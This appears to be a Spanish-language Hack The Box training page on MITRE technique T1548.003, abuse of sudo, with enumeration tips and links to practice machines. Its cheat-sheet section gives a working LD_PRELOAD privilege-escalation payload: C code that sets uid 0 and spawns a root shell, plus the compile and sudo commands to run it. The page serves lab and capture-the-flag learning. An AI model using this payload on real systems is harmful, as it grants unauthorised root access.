T1548.003

Sudo y su caché

Subtécnica de T1548 Abuso de mecanismos de elevación

Abusar de lo que sudo te deja ejecutar como root: binarios con escape, scripts escribibles o variables conservadas.

Cómo aparece en Hack The Box

sudo -l es lo primero que se ejecuta al tener shell. Fíjate en binarios de GTFOBins, en scripts que importan módulos o llaman a comandos sin ruta, y en env_keep (LD_PRELOAD).

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Se muestran 48 de 61. Entra en cada técnica del catálogo de arriba para verlas todas.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Escalada de privilegios en Linux › Comprobaciones

Qué puedo ejecutar con sudo
sudo -l
Versión de sudo (CVE-2021-3156, Baron Samedit)
sudo -V | head -1

Escalada de privilegios en Linux › Explotación

LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido

Herramientas

Chuletas relacionadas